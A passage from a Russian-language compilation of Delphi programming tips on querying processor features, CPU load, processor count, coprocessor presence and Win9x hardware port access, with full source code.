db $0F,$A2
mov [edi],eax
mov [edi+4],ebx
mov [edi+8],ecx
mov [edi+12],edx
add edi,16
mov eax,080000004h
db $0F,$A2
mov [edi],eax
mov [edi+4],ebx
mov [edi+8],ecx
mov [edi+12],edx
@NoString:
end;
info.CPUName:=name;
end else with info do begin
SYSCALLandSYSRET:=False;
FPConditionalMoveInstruction:=False;
AMD3DNow:=False;
CPUName:='';
end;
Result:=ExistCPUID;
end;

function ExistMMX:Boolean;
var

info : TCPUIDInfo;
begin

if CPUIDInfo(info) then
Result:=info.MMX
else
Result:=False;
end;

function Exist3DNow:Boolean;
var

info : TCPUIDInfo;
begin

if CPUIDInfo(info) then
Result:=info.AMD3DNow
else
Result:=False;
end;

function ExistKNI:Boolean;
begin

Result:=False;
end;

procedure EMMS;
asm

db $0F,$77
end;

procedure FEMMS;
asm

db $0F,$03
end;

procedure PREFETCH(p: Pointer); register;
asm

// PREFETCH byte ptr [eax]
end;

end.

Взято с http://delphiworld.narod.ru


Количество активных потоков и загруженность процессора

Автор: Vimil Saju

В реестре есть раздел HKEY_DYN_DATA. Основная информация о системе хранится в ключе PerfStats.

О получении информации,например, о загруженности процессора, необходимо проделать следующие шаги:

Для начала необходимо запустить установленный счётчик в реестре. Это возможно путём считывания значения ключа, отвечающего за нужный параметр системы.

Например
Просто считываем значение ключа 'PerfStats\StartStat\KERNEL\CPUusage' в секции HKEY_DYN_DATA. данное действие запускает счётчик. После этого в ключе 'PerfStats\StatData\KERNEL\CPUusage' будет храниться значение в процентах о загруженности процессора.

Далее, если добавить считывание загруженности процессора в событие On timer, то мы сможем наблюдать изменение загруженности процессора в динамике.

По завершении, Ваша программа должна остановить счётчик в реестре. Для этого просто считай ключ 'PerfStats\StopStat\KERNEL\CPUusage'.Это остановит счётчик.
Так же в системе есть много других счётчиков. Весь список счётчиков можно посмотреть в ключе PerfStats\StatData, используя редактор реестра.

Представленный ниже исходник получает значения всех счётчиков, расположенных в секции HKEY_DYN_DATA.

unit SystemInfo;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs,extctrls;

type TDialupAdapterInfo = record //Информация о Dialup адаптере
  alignment:dword;
  buffer:dword;
  bytesrecieved:dword;
  bytesXmit:dword;
  ConnectSpeed:dword;
  CRC:dword;
  framesrecieved:dword;
  FramesXmit:dword;
  Framing:dword;
  runts:dword;
  Overrun:dword;
  timeout:dword;
  totalbytesrecieved:dword;
  totalbytesXmit:dword;
end;

type TKernelInfo = record
  CpuUsagePcnt:dword;
  Numthreads:dword;
  NumVMS:dword;
end;

type TVCACHEInfo = record
  ccurpages:dword;
  cMacPages:dword;
  cminpages:dword;
  FailedRecycles:dword;
  Hits:dword;
  LRUBuffers:dword;
  LRURecycles:dword;
  Misses:dword;
  RandomRecycles:dword;
end;

type TFATInfo = record
  BreadsSec:dword;
  BwritesSec:dword;
  Dirtydata:dword;
  ReadsSec:dword;
  WritesSec:dword;
end;

type TVMMInfo = record
  CDiscards:dword;
  CInstancefaults:dword;
  CPageFaults:dword;
  cPageIns:dword;
  cPageOuts:dword;
  cpgCommit:dword;
  cpgDiskCache:dword;
  cpgDiskCacheMac:dword;
  cpgDiskCacheMid:dword;
  cpgDiskCacheMin:dword;
  cpgfree:dword;

  cpglocked:dword;
  cpglockedNoncache:dword;
  cpgother:dword;
  cpgsharedpages:dword;
  cpgswap:dword;
  cpgswapfile:dword;
  cpgswapfiledefective:dword;
  cpgswapfileinuse:dword;
end;

type
  TSysInfo = class(TComponent)
  private
   fDialupAdapterInfo:TDialupAdapterInfo;
   fKernelInfo:TKernelInfo;
   fVCACHEInfo:TVCACHEInfo;
   fFATInfo:TFATInfo;
   fVMMInfo:TVMMInfo;
   ftimer:TTimer;
   fupdateinterval:integer;
   tmp:dword;
   vsize:dword;
   pkey:hkey;
   regtype:pdword;
   fstopped:boolean;
   procedure fupdatinginfo(sender:tobject);
   procedure fsetupdateinterval(aupdateinterval:integer);
  protected
   fsysInfoChanged:TNotifyEvent;
  public
   constructor Create(Aowner:Tcomponent);override;
   destructor  Destroy;override;

   property DialupAdapterInfo: TDialupAdapterInfo read fDialupAdapterInfo;
   property KernelInfo: TKernelInfo read fKernelInfo;
   property VCACHEInfo: TVCACHEInfo read fVCACHEInfo;
   property FATInfo: TFATInfo read fFATInfo;
   property VMMInfo: TVMMInfo read fVMMInfo;
   procedure StartRecievingInfo;
   procedure StopRecievingInfo;
  published
   property SysInfoChanged:TNotifyEvent read fsysInfoChanged write
    fsysInfoChanged;//Это событие вызывается после определённого интервала времени.
   property UpdateInterval:integer read fupdateInterval write
    fsetupdateinterval default 5000;
  end;

procedure Register;

implementation

constructor TSysInfo.Create(Aowner:Tcomponent);
begin
inherited;
ftimer:=ttimer.Create(self);
ftimer.enabled:=false;
ftimer.OnTimer:=fupdatinginfo;
vsize:=4;
fstopped:=true;
end;

procedure TSysInfo.startrecievingInfo;
var
res:integer;
begin
res:=RegOpenKeyEx(HKEY_DYN_DATA,'PerfStats\StartStat',0,KEY_ALL_ACCESS,pkey);
if res<>0 then
  raise exception.Create('Could not open registry key');
fstopped:=false;
// Для Dial Up Адаптера
RegQueryValueEx(pkey,'Dial-Up Adapter\Alignment',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Buffer',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Framing',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Overrun ',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Timeout',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\CRC',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Runts',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\FramesXmit',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\FramesRecvd',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\BytesRecvd',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesXmit',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesRecvd',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\ConnectSpeed',nil,regtype,@tmp,@vsize);

// Для VCACHE
RegQueryValueEx(pkey,'VCACHE\LRUBuffers',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\FailedRecycles',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\RandomRecycles',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\LRURecycles',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\Misses',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\Hits',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\cMacPages',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\cMinPages',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VCACHE\cCurPages',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@tmp,@vsize);

//Для VFAT

RegQueryValueEx(pkey,'VFAT\DirtyData',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VFAT\BReadsSec',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VFAT\BWritesSec',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VFAT\ReadsSec',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VFAT\WritesSec',nil,regtype,@tmp,@vsize);
//Для VMM

RegQueryValueEx(pkey,'VMM\cpgLockedNoncache',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgCommit',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSharedPages',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMid',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMac',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMin',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcache',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfileDefective',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfileInUse',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfile',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cDiscards',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cPageOuts',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cPageIns',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cInstanceFaults',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cPageFaults',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgOther',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwap',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgLocked',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'VMM\cpgFree',nil,regtype,@tmp,@vsize);
//Для KERNEL
RegQueryValueEx(pkey,'KERNEL\CPUUsage',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'KERNEL\VMs',nil,regtype,@tmp,@vsize);
RegQueryValueEx(pkey,'KERNEL\Threads',nil,regtype,@tmp,@vsize);
RegCloseKey(pkey);
ftimer.enabled:=true;
end;

procedure tsysinfo.fupdatinginfo(sender:tobject);
var
  res:integer;
begin
res:=RegOpenKeyEx(HKEY_DYN_DATA,'PerfStats\StatData',0,KEY_ALL_ACCESS,pkey);
if res<>0 then
  raise exception.Create('Could not open registry key');
//Для Dial Up Адаптера
RegQueryValueEx(pkey,'Dial-Up Adapter\Alignment',nil,regtype,@fDialupAdapterInfo.alignment,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Buffer',nil,regtype,@fDialupAdapterInfo.buffer,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Framing',nil,regtype,@fDialupAdapterInfo.framing,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Overrun ',nil,regtype,@fDialupAdapterInfo.overrun,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Timeout',nil,regtype,@fDialupAdapterInfo.timeout,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\CRC',nil,regtype,@fDialupAdapterInfo.crc,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\Runts',nil,regtype,@fDialupAdapterInfo.runts,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\FramesXmit',nil,regtype,@fDialupAdapterInfo.framesxmit,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\FramesRecvd',nil,regtype,@fDialupAdapterInfo.framesrecieved,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@fDialupAdapterInfo.bytesxmit,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\BytesRecvd',nil,regtype,@fDialupAdapterInfo.bytesrecieved,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesXmit',nil,regtype,@fDialupAdapterInfo.totalbytesxmit,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesRecvd',nil,regtype,@fDialupAdapterInfo.totalbytesrecieved,@vsize);
RegQueryValueEx(pkey,'Dial-Up Adapter\ConnectSpeed',nil,regtype,@fDialupAdapterInfo.connectspeed,@vsize);
// Для VCACHE
RegQueryValueEx(pkey,'VCACHE\LRUBuffers',nil,regtype,@fVCACHEInfo.lrubuffers,@vsize);
RegQueryValueEx(pkey,'VCACHE\FailedRecycles',nil,regtype,@fVCACHEInfo.failedrecycles,@vsize);
RegQueryValueEx(pkey,'VCACHE\RandomRecycles',nil,regtype,@fVCACHEInfo.randomrecycles,@vsize);
RegQueryValueEx(pkey,'VCACHE\LRURecycles',nil,regtype,@fVCACHEInfo.lrurecycles,@vsize);
RegQueryValueEx(pkey,'VCACHE\Misses',nil,regtype,@fVCACHEInfo.misses,@vsize);
RegQueryValueEx(pkey,'VCACHE\Hits',nil,regtype,@fVCACHEInfo.hits,@vsize);
RegQueryValueEx(pkey,'VCACHE\cMacPages',nil,regtype,@fVCACHEInfo.cmacpages,@vsize);
RegQueryValueEx(pkey,'VCACHE\cMinPages',nil,regtype,@fVCACHEInfo.cminpages,@vsize);
RegQueryValueEx(pkey,'VCACHE\cCurPages',nil,regtype,@fVCACHEInfo.ccurpages,@vsize);
//Для VFAT
RegQueryValueEx(pkey,'VFAT\DirtyData',nil,regtype,@ffatinfo.dirtydata,@vsize);
RegQueryValueEx(pkey,'VFAT\BReadsSec',nil,regtype,@ffatinfo.breadssec,@vsize);
RegQueryValueEx(pkey,'VFAT\BWritesSec',nil,regtype,@ffatinfo.bwritessec,@vsize);
RegQueryValueEx(pkey,'VFAT\ReadsSec',nil,regtype,@ffatinfo.readssec,@vsize);
RegQueryValueEx(pkey,'VFAT\WritesSec',nil,regtype,@ffatinfo.writessec,@vsize);
//Для VMM
RegQueryValueEx(pkey,'VMM\cpgLockedNoncache',nil,regtype,@fvmminfo.cpglockednoncache,@vsize);
RegQueryValueEx(pkey,'VMM\cpgCommit',nil,regtype,@fvmminfo.cpgcommit,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSharedPages',nil,regtype,@fvmminfo.cpgsharedpages,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMid',nil,regtype,@fvmminfo.cpgdiskcacheMid,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMac',nil,regtype,@fvmminfo.cpgdiskcacheMac,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcacheMin',nil,regtype,@fvmminfo.cpgdiskcacheMin,@vsize);
RegQueryValueEx(pkey,'VMM\cpgDiskcache',nil,regtype,@fvmminfo.cpgdiskcache,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfileDefective',nil,regtype,@fvmminfo.cpgswapfiledefective,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfileInUse',nil,regtype,@fvmminfo.cpgswapfileinuse,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwapfile',nil,regtype,@fvmminfo.cpgswapfile,@vsize);
RegQueryValueEx(pkey,'VMM\cDiscards',nil,regtype,@fvmminfo.cdiscards,@vsize);
RegQueryValueEx(pkey,'VMM\cPageOuts',nil,regtype,@fvmminfo.cpageouts,@vsize);
RegQueryValueEx(pkey,'VMM\cPageIns',nil,regtype,@fvmminfo.cpageins,@vsize);
RegQueryValueEx(pkey,'VMM\cInstanceFaults',nil,regtype,@fvmminfo.cinstancefaults,@vsize);
RegQueryValueEx(pkey,'VMM\cPageFaults',nil,regtype,@fvmminfo.cpagefaults,@vsize);
RegQueryValueEx(pkey,'VMM\cpgOther',nil,regtype,@fvmminfo.cpgother,@vsize);
RegQueryValueEx(pkey,'VMM\cpgSwap',nil,regtype,@fvmminfo.cpgswap,@vsize);
RegQueryValueEx(pkey,'VMM\cpgLocked',nil,regtype,@fvmminfo.cpglocked,@vsize);
RegQueryValueEx(pkey,'VMM\cpgFree',nil,regtype,@fvmminfo.cpgfree,@vsize);
//Для KERNEL
RegQueryValueEx(pkey,'KERNEL\CPUUsage',nil,regtype,@fkernelinfo.cpuusagepcnt,@vsize);
RegQueryValueEx(pkey,'KERNEL\VMs',nil,regtype,@fkernelinfo.numvms,@vsize);
RegQueryValueEx(pkey,'KERNEL\Threads',nil,regtype,@fkernelinfo.numThreads,@vsize);
RegCloseKey(pkey);
if assigned(SysInfoChanged) then
  SysInfoChanged(self);
end;

procedure TSysInfo.stoprecievingInfo;
var
res:integer;
begin
res:=RegOpenKeyEx(HKEY_DYN_DATA,'PerfStats\StopStat',0,KEY_ALL_ACCESS,pkey);
if not fstopped then
  begin
   if res<>0 then
    raise exception.Create('Could not open registry key');
   //Для Dial Up Адаптера
   RegQueryValueEx(pkey,'Dial-Up Adapter\Alignment',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\Buffer',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\Framing',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\Overrun ',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\Timeout',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\CRC',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\Runts',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\FramesXmit',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\FramesRecvd',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\BytesRecvd',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesXmit',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\TotalBytesRecvd',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\ConnectSpeed',nil,regtype,@tmp,@vsize);

   // Для VCACHE
   RegQueryValueEx(pkey,'VCACHE\LRUBuffers',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VCACHE\FailedRecycles',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VCACHE\RandomRecycles',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VCACHE\LRURecycles',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VCACHE\Misses',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VCACHE\Hits',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VCACHE\cMacPages',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VCACHE\cMinPages',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VCACHE\cCurPages',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'Dial-Up Adapter\BytesXmit',nil,regtype,@tmp,@vsize);

   //Для VFAT
   RegQueryValueEx(pkey,'VFAT\DirtyData',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VFAT\BReadsSec',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VFAT\BWritesSec',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VFAT\ReadsSec',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VFAT\WritesSec',nil,regtype,@tmp,@vsize);

   //Для VMM
   RegQueryValueEx(pkey,'VMM\cpgLockedNoncache',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cpgCommit',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cpgSharedPages',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cpgDiskcacheMid',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cpgDiskcacheMac',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cpgDiskcacheMin',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cpgDiskcache',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cpgSwapfileDefective',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cpgSwapfileInUse',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cpgSwapfile',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cDiscards',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cPageOuts',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cPageIns',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cInstanceFaults',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cPageFaults',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cpgOther',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cpgSwap',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cpgLocked',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'VMM\cpgFree',nil,regtype,@tmp,@vsize);

   //Для KERNEL
   RegQueryValueEx(pkey,'KERNEL\CPUUsage',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'KERNEL\VMs',nil,regtype,@tmp,@vsize);
   RegQueryValueEx(pkey,'KERNEL\Threads',nil,regtype,@tmp,@vsize);

   RegCloseKey(pkey);
   ftimer.enabled:=false;
   fstopped:=true;
  end;
end;

procedure tsysinfo.fsetupdateinterval(aupdateinterval:integer);
begin
if (ftimer<>nil) and(aupdateinterval>0) then
  begin
    ftimer.Interval:=aupdateinterval;
    fupdateinterval:=aupdateinterval;
  end;
if (ftimer<>nil) and(aupdateinterval=0) then
begin
  ftimer.Interval:=500;
  fupdateinterval:=500;
end;

end;

destructor tsysinfo.Destroy;
begin
StopRecievingInfo;
ftimer.Destroy;
inherited;
end;

procedure Register;
begin
  RegisterComponents('Samples', [TSysInfo]);
end;


Поддерживает ли процессор технологию 3DNow

{$ifndef ver80} // так как будем использовать 32-битный регистр
    function 3DNowSupport: Boolean; assembler;
    asm
      push  ebx
      mov   @Result, True
      mov   eax, $80000000
      dw    $A20F
      cmp   eax, $80000000
      jbe   @NOEXTENDED    // 3DNow не поддерживается
      mov   eax, $80000001
      dw    $A20F
      test  edx, $80000000
      jnz    @EXIT          // 3DNow поддерживается
      @NOEXTENDED:
      mov  @Result, False
      @EXIT:
      pop ebx
    end;
    {$endif}


Как узнать загрузку процессора? (NT/2000/XP)

const
  SystemBasicInformation = 0;
  SystemPerformanceInformation = 2;
  SystemTimeInformation = 3;

type
  TPDWord = ^DWORD;

  TSystem_Basic_Information = packed record
    dwUnknown1: DWORD;
    uKeMaximumIncrement: ULONG;
    uPageSize: ULONG;
    uMmNumberOfPhysicalPages: ULONG;
    uMmLowestPhysicalPage: ULONG;
    uMmHighestPhysicalPage: ULONG;
    uAllocationGranularity: ULONG;
    pLowestUserAddress: Pointer;
    pMmHighestUserAddress: Pointer;
    uKeActiveProcessors: ULONG;
    bKeNumberProcessors: byte;
    bUnknown2: byte;
    wUnknown3: word;
  end;

type
  TSystem_Performance_Information = packed record
    liIdleTime: LARGE_INTEGER; {LARGE_INTEGER}
    dwSpare: array[0..75] of DWORD;
  end;

type
  TSystem_Time_Information = packed record
    liKeBootTime: LARGE_INTEGER;
    liKeSystemTime: LARGE_INTEGER;
    liExpTimeZoneBias: LARGE_INTEGER;
    uCurrentTimeZoneId: ULONG;
    dwReserved: DWORD;
  end;

var
  NtQuerySystemInformation: function(infoClass: DWORD;
    buffer: Pointer;
    bufSize: DWORD;
    returnSize: TPDword): DWORD; stdcall = nil;

  liOldIdleTime: LARGE_INTEGER = ();
  liOldSystemTime: LARGE_INTEGER = ();

function Li2Double(x: LARGE_INTEGER): Double;
begin
  Result := x.HighPart * 4.294967296E9 + x.LowPart
end;

procedure GetCPUUsage;
var
  SysBaseInfo: TSystem_Basic_Information;
  SysPerfInfo: TSystem_Performance_Information;
  SysTimeInfo: TSystem_Time_Information;
  status: Longint; {long}
  dbSystemTime: Double;
  dbIdleTime: Double;

  bLoopAborted : boolean;

begin
  if @NtQuerySystemInformation = nil then
    NtQuerySystemInformation := GetProcAddress(GetModuleHandle('ntdll.dll'),
      'NtQuerySystemInformation');

  // get number of processors in the system

  status := NtQuerySystemInformation(SystemBasicInformation, @SysBaseInfo, SizeOf(SysBaseInfo), nil);
  if status <> 0 then Exit;

  // Show some information
  with SysBaseInfo do
  begin
      ShowMessage(
      Format('uKeMaximumIncrement: %d'#13'uPageSize: %d'#13+
      'uMmNumberOfPhysicalPages: %d'+#13+'uMmLowestPhysicalPage: %d'+#13+
      'uMmHighestPhysicalPage: %d'+#13+'uAllocationGranularity: %d'#13+
      'uKeActiveProcessors: %d'#13'bKeNumberProcessors: %d',
      [uKeMaximumIncrement, uPageSize, uMmNumberOfPhysicalPages,
      uMmLowestPhysicalPage, uMmHighestPhysicalPage, uAllocationGranularity,
      uKeActiveProcessors, bKeNumberProcessors]));
  end;

  bLoopAborted := False;

  while not bLoopAborted do
  begin

    // get new system time
    status := NtQuerySystemInformation(SystemTimeInformation, @SysTimeInfo, SizeOf(SysTimeInfo), 0);
    if status <> 0 then Exit;

    // get new CPU's idle time
    status := NtQuerySystemInformation(SystemPerformanceInformation, @SysPerfInfo, SizeOf(SysPerfInfo), nil);
    if status <> 0 then Exit;

    // if it's a first call - skip it
    if (liOldIdleTime.QuadPart <> 0) then
    begin

      // CurrentValue = NewValue - OldValue
      dbIdleTime := Li2Double(SysPerfInfo.liIdleTime) - Li2Double(liOldIdleTime);
      dbSystemTime := Li2Double(SysTimeInfo.liKeSystemTime) - Li2Double(liOldSystemTime);

      // CurrentCpuIdle = IdleTime / SystemTime
      dbIdleTime := dbIdleTime / dbSystemTime;

      // CurrentCpuUsage% = 100 - (CurrentCpuIdle * 100) / NumberOfProcessors
      dbIdleTime := 100.0 - dbIdleTime * 100.0 / SysBaseInfo.bKeNumberProcessors + 0.5;

      // Show Percentage
      Form1.Label1.Caption := FormatFloat('CPU Usage: 0.0 %',dbIdleTime);

      Application.ProcessMessages;

      // Abort if user pressed ESC or Application is terminated
      bLoopAborted := (GetKeyState(VK_ESCAPE) and 128 = 128) or Application.Terminated;

    end;

    // store new CPU's idle and system time
    liOldIdleTime := SysPerfInfo.liIdleTime;
    liOldSystemTime := SysTimeInfo.liKeSystemTime;

    // wait one second
    Sleep(1000);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  GetCPUUsage
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php

Читать из реестра HKEY_DYN_DATA\PerfStats\StatData соответствующий ключ Kernel \CPUUsage

Автор: Nomadic

Взято с http://delphiworld.narod.ru


Как определить наличие сопроцессора?

В отличие от общепринятого мнения не всее клоны 486/586/686/ и Pentium имеют сопроцессор для вычислений с плавающей запятой. В примере определяется наличие сопроцессора и под Win16 и под Win32.
Пример:

{$IFDEF WIN32}

uses Registry;

{$ENDIF}

function HasCoProcesser : bool;
{$IFDEF WIN32}
var
   TheKey : hKey;
{$ENDIF}
begin
   Result := true;
   {$IFNDEF WIN32}
   if GetWinFlags and Wf_80x87 = 0 then
   Result := false;
   {$ELSE}
   if RegOpenKeyEx(HKEY_LOCAL_MACHINE,
   'HARDWARE\DESCRIPTION\System\FloatingPointProcessor',0,
   KEY_EXECUTE, TheKey) <> ERROR_SUCCESS then result := false;
   RegCloseKey(TheKey);
{$ENDIF}
   end;

procedure TForm1.Button1Click(Sender: TObject);
begin
   if HasCoProcesser then
      ShowMessage('Has CoProcessor')
   else
      ShowMessage('No CoProcessor - Windows Emulation Mode');
end;
Взято из
DELPHI VCL FAQ Перевод с английского
Подборку, перевод и адаптацию материала подготовил Aziz(JINX)
специально для Королевства Дельфи


Получение количества установленных процессоров

function GettingProcNum: string;  //Win95 or later and NT3.1 or later
var
  Struc:    _SYSTEM_INFO;
begin
  GetSystemInfo(Struc);
  Result:=IntToStr(Struc.dwNumberOfProcessors);
end;


Получение уровня процессора

function GettingProcLevel: string;  //Win95 or later and NT3.1 or later
var
  Struc:    _SYSTEM_INFO;
begin
  GetSystemInfo(Struc);
  Case Struc.wProcessorLevel of
    3:  Result:='Intel 80386';
    4:  Result:='Intel 80486';
    5:  Result:='Intel Pentium';
    6:  Result:='Intel Pentium II or better';
  end;
end;


Работа с портами микропроцессора

Автор: Pavlo Zolotarenki

Модуль для работы с портами микропроцессора с сохранением синтаксиса.
Работает под Win9x.
НЕ работает под WinNT.

//Copyright(c) 1998 Zolotarenko P.V pvz@mail.univ.kiev.ua

unit Ports;
interface
type

  TPort = class
  private
    procedure Set_(index_: word; value: byte); register;
    function Get_(index_: word): byte; register;
  public
    property Element[index_: word]: byte read Get_ write Set_; default;
  end;

  TPortW = class
  private
    procedure Set_(index_: word; value: Word); register;
    function Get_(index_: word): word; register;
  public
    property Element[index_: word]: word read Get_ write Set_; default;
  end;

var
  Port: TPort;

  PortW: TportW;

implementation

procedure TPort.Set_(index_: word; value: byte);
begin

  asm
mov dx,index_
mov al,value
out dx,al
  end;
end;

function TPort.Get_(index_: word): byte;
begin

  asm
mov dx,index_
in al,dx
mov @Result,al
  end;
end;

procedure TPortW.Set_(index_: word; value: word);
begin

  asm
mov dx,index_
mov ax,value
out dx,ax
  end;
end;

function TPortW.Get_(index_: word): word;
begin

  asm
mov dx,index_
in ax,dx
mov @Result,ax
  end;
end;

initialization

  Port := TPort.Create;
  PortW := TPortW.Create;

finalization

  Port.free;
  PortW.free;
end.

Взято с http://delphiworld.narod.ru


Поддерживается ли MMX

function SupportsMMX: Boolean;
